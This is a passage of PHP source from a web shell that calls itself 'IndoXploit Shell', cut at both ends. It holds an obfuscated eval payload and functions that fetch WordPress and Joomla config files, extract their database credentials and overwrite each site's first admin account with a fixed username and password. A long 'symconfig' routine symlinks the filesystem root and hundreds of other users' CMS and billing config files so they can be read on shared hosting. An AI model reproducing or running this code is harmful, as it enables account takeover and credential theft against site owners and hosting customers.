  733.     echo 'Gagal Mas :( Ntahlah !';
  734.     }
  735.     }
  736. echo '</tr></table>';  
  737.     }
  738.     elseif($_GET['do'] == 'shellchk') {
  739.         eval(str_rot13(gzinflate(str_rot13(base64_decode(('vUdbQtswFH5epf4HcCE1VUwvm2sYtNEGd9FeJtGhPaygyLZ5B6jc5AR0Zib++45mI4XxsBeiSbGd7zvnOxcfVS0nZ54C0yCj4WCeZkwSc1dLXNNclil02nHZNSUm1QV0a4rrErTlGa4FSvqabZ6Ge3okGCKcVsFll4FRgNVNnFkmqZyJ8c7xByW4Hqe8nCgLzo2FFXWuZJdVh5uUO7WYzY6J5Gq4mFPzVng7mu9x/S+YVTRWnUQKiSrZ7TRQrt4KqPdyoZ8Mr9r9rWSJP7hPHjnnDv2hbB9lUUKHgzxuSJDkAWfslccSQzBGEKc8g+BDW0CRVOTPY0DwObRgMFlSFjWj3miw0waltNGJB6EupXLQ0jbTm5B8CsnHDikQJIxRf8h/bsdvshEA98JsNaOTRIiUzcifj2H2YD5jhEl4Z9N8KmUSZ3cW5MNn2oVFMWILSHUuPTFerZdf18sNXa5/nl2s42KXl8sVeg1I6F9WljjE0qqUJ6SRWHUftOPZ9iWmD/GiDqAUbdsFvKfKP59YRriA0rDxGtaGj21zHntB73GhIUxtZK2oMaHDwZ6y3OLnnAtgAbVTFWGs7zVtoIb27eaVsQDh4ZPhkGAdHTK7k6M+B+pYhRjOHiK8RVn7tuZlZCUBS/SdJyzzfcc0tl8DI+/J3BArIccGpSi4J923tpHYcItr5wz7HT37Pp9HaoNZojbEVAJBwbOCHz8r+Os60Vjaa3bo6MXzyQ8/KJhkcQXyFiRMWIkdZvAW0ez16n/XS5lFGPsWUpaQUl+4JmJE5uEAf77MhUWgg8P4/HlosRnVEw+HT2JJ4ShDvfHhZoXRNgT00I2QhkMNWM8wRZp60MaO0xJZd7Gxd4tT1bb3Oqt3vHdeHeDlpy8v9CsTlkkk+o+L3byarEpWdWa/AgfKFF2KfWUQ/u4v'))))));
  740.     } elseif($_GET['do'] == 'metu') {
  741.    
  742.  
  743. echo '<form action="?dir=$dir&do=metu" method="post">';
  744.     unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  745.     echo 'Byee !';
  746.    
  747. }
  748. elseif($_GET['do'] == 'about') {
  749.    
  750.     echo '<center>IndoXploit Shell<hr>IndoXploit Shell Recoded By Me<br>For More Script Visit <a href="">Here</a>';
  751.    
  752. }
  753. elseif($_GET['do'] == 'auto_cu_wp') {
  754. if($_POST['gass']) {
  755.     echo "<center><h1>WordPress Auto Change User 2</h1>
  756.         <form method='post'>
  757.         Link Config: <br>
  758.         <textarea name='link' style='width: 450px; height:250px;'>";
  759.     UrlLoop($_POST['linkconf'],'wordpress');   
  760.     echo"</textarea><br>
  761.         <input type='submit' style='width: 450px;' name='auto_cu_wp' value='Hajar!!'>
  762.         </form></center>";
  763. }   else {
  764.         echo "<center><h1>WordPress Auto Change User 2</h1>
  765.         <form method='post'>
  766.         Link Config: <br>
  767.         <input type='text' name='linkconf' height='10' size='50' placeholder='http://link.com/cox_symconf/'><br>
  768.         <input type='submit' style='width: 450px;' name='gass' value='Hajar!!'>
  769.         </form></center>";
  770.     }
  771. if($_POST['auto_cu_wp']) {
  772.    
  773.         function anucurl($sites) {
  774.             $ch = curl_init($sites);
  775.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  776.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  777.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  778.                   curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  779.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  780.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  781.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  782.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  783.                   curl_setopt($ch, CURLOPT_COOKIESESSION,true);
  784.             $data = curl_exec($ch);
  785.                   curl_close($ch);
  786.             return $data;
  787.         }
  788.         $link = explode("\r\n", $_POST['link']);
  789.         $user = "0x1999";
  790.         $pass = "0x1999";
  791.         $passx = md5($pass);
  792.         foreach($link as $dir_config) {
  793.             $config = anucurl($dir_config);
  794.             $dbhost = ambilkata($config,"DB_HOST', '","'");
  795.             $dbuser = ambilkata($config,"DB_USER', '","'");
  796.             $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  797.             $dbname = ambilkata($config,"DB_NAME', '","'");
  798.             $dbprefix = ambilkata($config,"table_prefix  = '","'");
  799.             $prefix = $dbprefix."users";
  800.             $option = $dbprefix."options";
  801.             $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  802.             $db = mysql_select_db($dbname);
  803.             $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  804.             $result = mysql_fetch_array($q);
  805.             $id = $result[ID];
  806.             $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  807.             $result2 = mysql_fetch_array($q2);
  808.             $target = $result2[option_value];
  809.             if($target == '') {                
  810.                 echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
  811.             } else {
  812.                 echo "<font color=blue>[</font> $target <font color=blue>]</font></font><br>";
  813.             }
  814.             $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
  815.             if(!$conn OR !$db OR !$update) {
  816.                 echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
  817.                 mysql_close($conn);
  818.             } else {
  819.                     echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
  820.                     echo "[+] username: <font color=lime>$user</font><br>";
  821.                     echo "[+] password: <font color=lime>$pass</font><br><br>";    
  822.                    
  823.                 mysql_close($conn);
  824.             }
  825.         }
  826.     }  
  827.  
  828. }
  829. elseif($_GET['do'] == 'auto_cu_joomla') {
  830. if($_POST['gass']) {
  831.     echo "<center><h1>Joomla Auto Change User 2</h1>
  832.         <form method='post'>
  833.         Link Config: <br>
  834.         <textarea name='link' style='width: 450px; height:250px;'>";
  835.     UrlLoop($_POST['linkconf'],'joomla');  
  836.     echo"</textarea><br>
  837.         <input type='submit' style='width: 450px;' name='auto_cu_joomla' value='Hajar!!'>
  838.         </form></center>";
  839. }   else {
  840.         echo "<center><h1>Joomla Auto Change User 2</h1>
  841.         <form method='post'>
  842.         Link Config: <br>
  843.         <input type='text' name='linkconf' height='10' size='50' placeholder='http://link.com/cox_symconf/'><br>
  844.         <input type='submit' style='width: 450px;' name='gass' value='Hajar!!'>
  845.         </form></center>";
  846.     }
  847. if($_POST['auto_cu_joomla']) {
  848.    
  849.         function anucurl($sites) {
  850.             $ch = curl_init($sites);
  851.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  852.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  853.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  854.                   curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  855.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  856.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  857.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  858.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  859.                   curl_setopt($ch, CURLOPT_COOKIESESSION,true);
  860.             $data = curl_exec($ch);
  861.                   curl_close($ch);
  862.             return $data;
  863.         }
  864.         $link = explode("\r\n", $_POST['link']);
  865.         $user = "0x1999";
  866.         $pass = "0x1999";
  867.         $passx = md5($pass);
  868.         foreach($link as $dir_config) {
  869.             $config = anucurl($dir_config);
  870.                     $dbhost = ambilkata($config,"host = '","'");
  871.                     $dbuser = ambilkata($config,"user = '","'");
  872.                     $dbpass = ambilkata($config,"password = '","'");
  873.                     $dbname = ambilkata($config,"db = '","'");
  874.                     $dbprefix = ambilkata($config,"dbprefix = '","'");
  875.                     $prefix = $dbprefix."users";
  876.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  877.                     $db = mysql_select_db($dbname);
  878.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  879.                     $result = mysql_fetch_array($q);
  880.                     $id = $result['id'];
  881.                     $site = ambilkata($config,"sitename = '","'");
  882.                     $update = mysql_query("UPDATE $prefix SET username='$user',password='$passx' WHERE id='$id'");
  883.                     echo "Config => ".$dir_config."<br>";
  884.                     echo "CMS => Joomla<br>";
  885.                     if($site == '') {
  886.                         echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
  887.                     } else {
  888.                         echo "Sitename => $site<br>";
  889.                     }
  890.                     if(!$update OR !$conn OR !$db) {
  891.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  892.                     } else {
  893.                         echo "Status => Done , Username : <font color=lime>$user</font> Password : <font color=lime>$pass</font><br><br>";
  894.                     }
  895.                     mysql_close($conn);
  896.                     }
  897.     }  
  898. }
  899. elseif($_GET['do'] == 'symconfig') {
  900. if(strtolower(substr(PHP_OS, 0, 3)) == "win"){
  901. echo '<script>alert("Skid this won\'t work on Windows")</script>';
  902. exit;
  903. }
  904. else
  905. {
  906. if($_POST["m"] && !$_POST["passwd"]==""){
  907. @mkdir("cox_symconf", 0777);
  908. @chdir("cox_symconf");
  909. @symlink("/","root");
  910. $htaccess="Options Indexes FollowSymLinks
  911. DirectoryIndex jancox.htm
  912. AddType text/plain .php
  913. AddHandler text/plain .php
  914. Satisfy Any";
  915. @file_put_contents(".htaccess",$htaccess);
  916. $etc_passwd=$_POST["passwd"];
  917. $etc_passwd=explode("\n",$etc_passwd);
  918. foreach($etc_passwd as $passwd){
  919. $pawd=explode(":",$passwd);
  920. $user =$pawd[0];
  921.  
  922. @symlink('/','cox_symconf/root');
  923. @symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-Vbulletin.txt');
  924. @symlink('/home/'.$user.'/public_html/includes/config.php',$user.'-Vbulletin.txt');
  925. @symlink('/home/'.$user.'/public_html/forum/includes/config.php',$user.'-Vbulletin.txt');
  926. @symlink('/home/'.$user.'/public_html/forums/includes/config.php',$user.'-Vbulletin.txt');
  927. @symlink('/home/'.$user.'/public_html/cc/includes/config.php',$user.'-Vbulletin.txt');
  928. @symlink('/home/'.$user.'/public_html/inc/config.php',$user.'-MyBB.txt');
  929. @symlink('/home/'.$user.'/public_html/includes/configure.php',$user.'-OsCommerce.txt');
  930. @symlink('/home/'.$user.'/public_html/shop/includes/configure.php',$user.'-OsCommerce.txt');
  931. @symlink('/home/'.$user.'/public_html/os/includes/configure.php',$user.'-OsCommerce.txt');
  932. @symlink('/home/'.$user.'/public_html/oscom/includes/configure.php',$user.'-OsCommerce.txt');
  933. @symlink('/home/'.$user.'/public_html/products/includes/configure.php',$user.'-OsCommerce.txt');
  934. @symlink('/home/'.$user.'/public_html/cart/includes/configure.php',$user.'-OsCommerce.txt');
  935. @symlink('/home/'.$user.'/public_html/inc/conf_global.php',$user.'-IPB.txt');
  936. @symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-Wordpress.txt');
  937. @symlink('/home/'.$user.'/public_html/wp/test/wp-config.php',$user.'-Wordpress.txt');
  938. @symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress.txt');
  939. @symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-Wordpress.txt');
  940. @symlink('/home/'.$user.'/public_html/portal/wp-config.php',$user.'-Wordpress.txt');
  941. @symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-Wordpress.txt');
  942. @symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-Wordpress.txt');
  943. @symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-Wordpress.txt');
  944. @symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-Wordpress.txt');
  945. @symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-Wordpress.txt');
  946. @symlink('/home/'.$user.'/public_html/test/wp-config.php',$user.'-Wordpress.txt');
  947. @symlink('/home/'.$user.'/public_html/demo/wp-config.php',$user.'-Wordpress.txt');
  948. @symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-Wordpress.txt');
  949. @symlink('/home/'.$user.'/public_html/v1/wp-config.php',$user.'-Wordpress.txt');
  950. @symlink('/home/'.$user.'/public_html/v2/wp-config.php',$user.'-Wordpress.txt');
  951. @symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-Wordpress.txt');
  952. @symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-Wordpress.txt');
  953. @symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-Wordpress.txt');
  954. @symlink('/home/'.$user.'/public_html/configuration.php',$user.'-Joomla.txt');
  955. @symlink('/home/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla.txt');
  956. @symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-^WHMCS.txt');
  957. @symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-Joomla.txt');
  958. @symlink('/home/'.$user.'/public_html/beta/configuration.php',$user.'-Joomla.txt');
  959. @symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.'-Joomla.txt');
  960. @symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-Joomla.txt');
  961. @symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-Joomla.txt');
  962. @symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-Joomla.txt');
  963. @symlink('/home/'.$user.'/public_html/demo/configuration.php',$user.'-Joomla.txt');
  964. @symlink('/home/'.$user.'/public_html/test/configuration.php',$user.'-Joomla.txt');
  965. @symlink('/home/'.$user.'/public_html/v1/configuration.php',$user.'-Joomla.txt');
  966. @symlink('/home/'.$user.'/public_html/v2/configuration.php',$user.'-Joomla.txt');
  967. @symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla.txt');
  968. @symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-Joomla.txt');
  969. @symlink('/home/'.$user.'/public_html/WHMCS/configuration.php',$user.'-WHMCS.txt');
  970. @symlink('/home/'.$user.'/public_html/whmcs1/configuration.php',$user.'-WHMCS.txt');
  971. @symlink('/home/'.$user.'/public_html/Whmcs/configuration.php',$user.'-WHMCS.txt');
  972. @symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
  973. @symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
  974. @symlink('/home/'.$user.'/public_html/WHMC/configuration.php',$user.'-WHMCS.txt');
  975. @symlink('/home/'.$user.'/public_html/Whmc/configuration.php',$user.'-WHMCS.txt');
  976. @symlink('/home/'.$user.'/public_html/whmc/configuration.php',$user.'-WHMCS.txt');
  977. @symlink('/home/'.$user.'/public_html/WHM/configuration.php',$user.'-WHMCS.txt');
  978. @symlink('/home/'.$user.'/public_html/Whm/configuration.php',$user.'-WHMCS.txt');
  979. @symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-WHMCS.txt');
  980. @symlink('/home/'.$user.'/public_html/HOST/configuration.php',$user.'-WHMCS.txt');
  981. @symlink('/home/'.$user.'/public_html/Host/configuration.php',$user.'-WHMCS.txt');
  982. @symlink('/home/'.$user.'/public_html/host/configuration.php',$user.'-WHMCS.txt');
  983. @symlink('/home/'.$user.'/public_html/SUPPORTES/configuration.php',$user.'-WHMCS.txt');
  984. @symlink('/home/'.$user.'/public_html/Supportes/configuration.php',$user.'-WHMCS.txt');
  985. @symlink('/home/'.$user.'/public_html/supportes/configuration.php',$user.'-WHMCS.txt');
  986. @symlink('/home/'.$user.'/public_html/domains/configuration.php',$user.'-WHMCS.txt');
  987. @symlink('/home/'.$user.'/public_html/domain/configuration.php',$user.'-WHMCS.txt');
  988. @symlink('/home/'.$user.'/public_html/Hosting/configuration.php',$user.'-WHMCS.txt');
  989. @symlink('/home/'.$user.'/public_html/HOSTING/configuration.php',$user.'-WHMCS.txt');
  990. @symlink('/home/'.$user.'/public_html/hosting/configuration.php',$user.'-WHMCS.txt');
  991. @symlink('/home/'.$user.'/public_html/CART/configuration.php',$user.'-WHMCS.txt');
  992. @symlink('/home/'.$user.'/public_html/Cart/configuration.php',$user.'-WHMCS.txt');
  993. @symlink('/home/'.$user.'/public_html/cart/configuration.php',$user.'-WHMCS.txt');
  994. @symlink('/home/'.$user.'/public_html/ORDER/configuration.php',$user.'-WHMCS.txt');
  995. @symlink('/home/'.$user.'/public_html/Order/configuration.php',$user.'-WHMCS.txt');
  996. @symlink('/home/'.$user.'/public_html/order/configuration.php',$user.'-WHMCS.txt');
  997. @symlink('/home/'.$user.'/public_html/CLIENT/configuration.php',$user.'-WHMCS.txt');
  998. @symlink('/home/'.$user.'/public_html/Client/configuration.php',$user.'-WHMCS.txt');
  999. @symlink('/home/'.$user.'/public_html/client/configuration.php',$user.'-WHMCS.txt');
  1000. @symlink('/home/'.$user.'/public_html/CLIENTAREA/configuration.php',$user.'-WHMCS.txt');
  1001. @symlink('/home/'.$user.'/public_html/Clientarea/configuration.php',$user.'-WHMCS.txt');
  1002. @symlink('/home/'.$user.'/public_html/clientarea/configuration.php',$user.'-WHMCS.txt');
  1003. @symlink('/home/'.$user.'/public_html/SUPPORT/configuration.php',$user.'-WHMCS.txt');
  1004. @symlink('/home/'.$user.'/public_html/Support/configuration.php',$user.'-WHMCS.txt');
  1005. @symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-WHMCS.txt');
  1006. @symlink('/home/'.$user.'/public_html/BILLING/configuration.php',$user.'-WHMCS.txt');
  1007. @symlink('/home/'.$user.'/public_html/Billing/configuration.php',$user.'-WHMCS.txt');
  1008. @symlink('/home/'.$user.'/public_html/billing/configuration.php',$user.'-WHMCS.txt');
  1009. @symlink('/home/'.$user.'/public_html/BUY/configuration.php',$user.'-WHMCS.txt');
  1010. @symlink('/home/'.$user.'/public_html/Buy/configuration.php',$user.'-WHMCS.txt');
  1011. @symlink('/home/'.$user.'/public_html/buy/configuration.php',$user.'-WHMCS.txt');
  1012. @symlink('/home/'.$user.'/public_html/MANAGE/configuration.php',$user.'-WHMCS.txt');
  1013. @symlink('/home/'.$user.'/public_html/Manage/configuration.php',$user.'-WHMCS.txt');
  1014. @symlink('/home/'.$user.'/public_html/manage/configuration.php',$user.'-WHMCS.txt');
  1015. @symlink('/home/'.$user.'/public_html/CLIENTSUPPORT/configuration.php',$user.'-WHMCS.txt');
  1016. @symlink('/home/'.$user.'/public_html/ClientSupport/configuration.php',$user.'-WHMCS.txt');
  1017. @symlink('/home/'.$user.'/public_html/Clientsupport/configuration.php',$user.'-WHMCS.txt');
  1018. @symlink('/home/'.$user.'/public_html/clientsupport/configuration.php',$user.'-WHMCS.txt');
  1019. @symlink('/home/'.$user.'/public_html/CHECKOUT/configuration.php',$user.'-WHMCS.txt');
  1020. @symlink('/home/'.$user.'/public_html/Checkout/configuration.php',$user.'-WHMCS.txt');
  1021. @symlink('/home/'.$user.'/public_html/checkout/configuration.php',$user.'-WHMCS.txt');
  1022. @symlink('/home/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
  1023. @symlink('/home/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
  1024. @symlink('/home/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
  1025. @symlink('/home/'.$user.'/public_html/BASKET/configuration.php',$user.'-WHMCS.txt');
  1026. @symlink('/home/'.$user.'/public_html/Basket/configuration.php',$user.'-WHMCS.txt');
  1027. @symlink('/home/'.$user.'/public_html/basket/configuration.php',$user.'-WHMCS.txt');
  1028. @symlink('/home/'.$user.'/public_html/SECURE/configuration.php',$user.'-WHMCS.txt');
  1029. @symlink('/home/'.$user.'/public_html/Secure/configuration.php',$user.'-WHMCS.txt');
  1030. @symlink('/home/'.$user.'/public_html/secure/configuration.php',$user.'-WHMCS.txt');
  1031. @symlink('/home/'.$user.'/public_html/SALES/configuration.php',$user.'-WHMCS.txt');
  1032. @symlink('/home/'.$user.'/public_html/Sales/configuration.php',$user.'-WHMCS.txt');
  1033. @symlink('/home/'.$user.'/public_html/sales/configuration.php',$user.'-WHMCS.txt');
  1034. @symlink('/home/'.$user.'/public_html/BILL/configuration.php',$user.'-WHMCS.txt');
  1035. @symlink('/home/'.$user.'/public_html/Bill/configuration.php',$user.'-WHMCS.txt');
  1036. @symlink('/home/'.$user.'/public_html/bill/configuration.php',$user.'-WHMCS.txt');
  1037. @symlink('/home/'.$user.'/public_html/PURCHASE/configuration.php',$user.'-WHMCS.txt');
  1038. @symlink('/home/'.$user.'/public_html/Purchase/configuration.php',$user.'-WHMCS.txt');
  1039. @symlink('/home/'.$user.'/public_html/purchase/configuration.php',$user.'-WHMCS.txt');
  1040. @symlink('/home/'.$user.'/public_html/ACCOUNT/configuration.php',$user.'-WHMCS.txt');
  1041. @symlink('/home/'.$user.'/public_html/Account/configuration.php',$user.'-WHMCS.txt');
  1042. @symlink('/home/'.$user.'/public_html/account/configuration.php',$user.'-WHMCS.txt');
  1043. @symlink('/home/'.$user.'/public_html/USER/configuration.php',$user.'-WHMCS.txt');
  1044. @symlink('/home/'.$user.'/public_html/User/configuration.php',$user.'-WHMCS.txt');
  1045. @symlink('/home/'.$user.'/public_html/user/configuration.php',$user.'-WHMCS.txt');
  1046. @symlink('/home/'.$user.'/public_html/CLIENTS/configuration.php',$user.'-WHMCS.txt');
  1047. @symlink('/home/'.$user.'/public_html/Clients/configuration.php',$user.'-WHMCS.txt');
  1048. @symlink('/home/'.$user.'/public_html/clients/configuration.php',$user.'-WHMCS.txt');
  1049. @symlink('/home/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
  1050. @symlink('/home/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
  1051. @symlink('/home/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
  1052. @symlink('/home/'.$user.'/public_html/MY/configuration.php',$user.'-WHMCS.txt');
  1053. @symlink('/home/'.$user.'/public_html/My/configuration.php',$user.'-WHMCS.txt');
  1054. @symlink('/home/'.$user.'/public_html/my/configuration.php',$user.'-WHMCS.txt');
  1055. @symlink('/home/'.$user.'/public_html/secure/whm/configuration.php',$user.'-WHMCS.txt');
  1056. @symlink('/home/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-WHMCS.txt');
  1057. @symlink('/home/'.$user.'/public_html/panel/configuration.php',$user.'-WHMCS.txt');
  1058. @symlink('/home/'.$user.'/public_html/clientes/configuration.php',$user.'-WHMCS.txt');
  1059. @symlink('/home/'.$user.'/public_html/cliente/configuration.php',$user.'-WHMCS.txt');
  1060. @symlink('/home/'.$user.'/public_html/support/order/configuration.php',$user.'-WHMCS.txt');
  1061. @symlink('/home/'.$user.'/public_html/bb-config.php',$user.'-BoxBilling.txt');
  1062. @symlink('/home/'.$user.'/public_html/boxbilling/bb-config.php',$user.'-BoxBilling.txt');
  1063. @symlink('/home/'.$user.'/public_html/box/bb-config.php',$user.'-BoxBilling.txt');
  1064. @symlink('/home/'.$user.'/public_html/host/bb-config.php',$user.'-BoxBilling.txt');
  1065. @symlink('/home/'.$user.'/public_html/Host/bb-config.php',$user.'-BoxBilling.txt');
  1066. @symlink('/home/'.$user.'/public_html/supportes/bb-config.php',$user.'-BoxBilling.txt');
  1067. @symlink('/home/'.$user.'/public_html/support/bb-config.php',$user.'-BoxBilling.txt');
  1068. @symlink('/home/'.$user.'/public_html/hosting/bb-config.php',$user.'-BoxBilling.txt');
  1069. @symlink('/home/'.$user.'/public_html/cart/bb-config.php',$user.'-BoxBilling.txt');
  1070. @symlink('/home/'.$user.'/public_html/order/bb-config.php',$user.'-BoxBilling.txt');
  1071. @symlink('/home/'.$user.'/public_html/client/bb-config.php',$user.'-BoxBilling.txt');
  1072. @symlink('/home/'.$user.'/public_html/clients/bb-config.php',$user.'-BoxBilling.txt');
  1073. @symlink('/home/'.$user.'/public_html/cliente/bb-config.php',$user.'-BoxBilling.txt');
  1074. @symlink('/home/'.$user.'/public_html/clientes/bb-config.php',$user.'-BoxBilling.txt');
  1075. @symlink('/home/'.$user.'/public_html/billing/bb-config.php',$user.'-BoxBilling.txt');
  1076. @symlink('/home/'.$user.'/public_html/billings/bb-config.php',$user.'-BoxBilling.txt');
  1077. @symlink('/home/'.$user.'/public_html/my/bb-config.php',$user.'-BoxBilling.txt');
  1078. @symlink('/home/'.$user.'/public_html/secure/bb-config.php',$user.'-BoxBilling.txt');
  1079. @symlink('/home/'.$user.'/public_html/support/order/bb-config.php',$user.'-BoxBilling.txt');
  1080. @symlink('/home/'.$user.'/public_html/includes/dist-configure.php',$user.'-Zencart.txt');
  1081. @symlink('/home/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-Zencart.txt');
  1082. @symlink('/home/'.$user.'/public_html/products/includes/dist-configure.php',$user.'-Zencart.txt');
  1083. @symlink('/home/'.$user.'/public_html/cart/includes/dist-configure.php',$user.'-Zencart.txt');
  1084. @symlink('/home/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-Zencart.txt');
  1085. @symlink('/home/'.$user.'/public_html/includes/iso4217.php',$user.'-Hostbills.txt');
  1086. @symlink('/home/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-Hostbills.txt');
  1087. @symlink('/home/'.$user.'/public_html/host/includes/iso4217.php',$user.'-Hostbills.txt');
  1088. @symlink('/home/'.$user.'/public_html/Host/includes/iso4217.php',$user.'-Hostbills.txt');
  1089. @symlink('/home/'.$user.'/public_html/supportes/includes/iso4217.php',$user.'-Hostbills.txt');
  1090. @symlink('/home/'.$user.'/public_html/support/includes/iso4217.php',$user.'-Hostbills.txt');
  1091. @symlink('/home/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-Hostbills.txt');
  1092. @symlink('/home/'.$user.'/public_html/cart/includes/iso4217.php',$user.'-Hostbills.txt');
  1093. @symlink('/home/'.$user.'/public_html/order/includes/iso4217.php',$user.'-Hostbills.txt');
  1094. @symlink('/home/'.$user.'/public_html/client/includes/iso4217.php',$user.'-Hostbills.txt');
  1095. @symlink('/home/'.$user.'/public_html/clients/includes/iso4217.php',$user.'-Hostbills.txt');
  1096. @symlink('/home/'.$user.'/public_html/cliente/includes/iso4217.php',$user.'-Hostbills.txt');
  1097. @symlink('/home/'.$user.'/public_html/clientes/includes/iso4217.php',$user.'-Hostbills.txt');
  1098. @symlink('/home/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-Hostbills.txt');
  1099. @symlink('/home/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-Hostbills.txt');
  1100. @symlink('/home/'.$user.'/public_html/my/includes/iso4217.php',$user.'-Hostbills.txt');
  1101. @symlink('/home/'.$user.'/public_html/secure/includes/iso4217.php',$user.'-Hostbills.txt');
  1102. @symlink('/home/'.$user.'/public_html/support/order/includes/iso4217.php',$user.'-Hostbills.txt');
  1103.  
  1104. //Home1
  1105.  
  1106. @symlink('/home1/'.$user.'/public_html/vb/includes/config.php',$user.'-Vbulletin.txt');
  1107. @symlink('/home1/'.$user.'/public_html/includes/config.php',$user.'-Vbulletin.txt');
  1108. @symlink('/home1/'.$user.'/public_html/forum/includes/config.php',$user.'-Vbulletin.txt');
  1109. @symlink('/home1/'.$user.'/public_html/forums/includes/config.php',$user.'-Vbulletin.txt');
  1110. @symlink('/home1/'.$user.'/public_html/cc/includes/config.php',$user.'-Vbulletin.txt');
  1111. @symlink('/home1/'.$user.'/public_html/inc/config.php',$user.'-MyBB.txt');
  1112. @symlink('/home1/'.$user.'/public_html/includes/configure.php',$user.'-OsCommerce.txt');
  1113. @symlink('/home1/'.$user.'/public_html/shop/includes/configure.php',$user.'-OsCommerce.txt');
  1114. @symlink('/home1/'.$user.'/public_html/os/includes/configure.php',$user.'-OsCommerce.txt');
  1115. @symlink('/home1/'.$user.'/public_html/oscom/includes/configure.php',$user.'-OsCommerce.txt');
  1116. @symlink('/home1/'.$user.'/public_html/products/includes/configure.php',$user.'-OsCommerce.txt');
  1117. @symlink('/home1/'.$user.'/public_html/cart/includes/configure.php',$user.'-OsCommerce.txt');
  1118. @symlink('/home1/'.$user.'/public_html/inc/conf_global.php',$user.'-IPB.txt');
  1119. @symlink('/home1/'.$user.'/public_html/wp-config.php',$user.'-Wordpress.txt');
  1120. @symlink('/home1/'.$user.'/public_html/wp/test/wp-config.php',$user.'-Wordpress.txt');
  1121. @symlink('/home1/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress.txt');
  1122. @symlink('/home1/'.$user.'/public_html/beta/wp-config.php',$user.'-Wordpress.txt');
  1123. @symlink('/home1/'.$user.'/public_html/portal/wp-config.php',$user.'-Wordpress.txt');
  1124. @symlink('/home1/'.$user.'/public_html/site/wp-config.php',$user.'-Wordpress.txt');
  1125. @symlink('/home1/'.$user.'/public_html/wp/wp-config.php',$user.'-Wordpress.txt');
  1126. @symlink('/home1/'.$user.'/public_html/WP/wp-config.php',$user.'-Wordpress.txt');
  1127. @symlink('/home1/'.$user.'/public_html/news/wp-config.php',$user.'-Wordpress.txt');
  1128. @symlink('/home1/'.$user.'/public_html/wordpress/wp-config.php',$user.'-Wordpress.txt');
  1129. @symlink('/home1/'.$user.'/public_html/test/wp-config.php',$user.'-Wordpress.txt');
  1130. @symlink('/home1/'.$user.'/public_html/demo/wp-config.php',$user.'-Wordpress.txt');
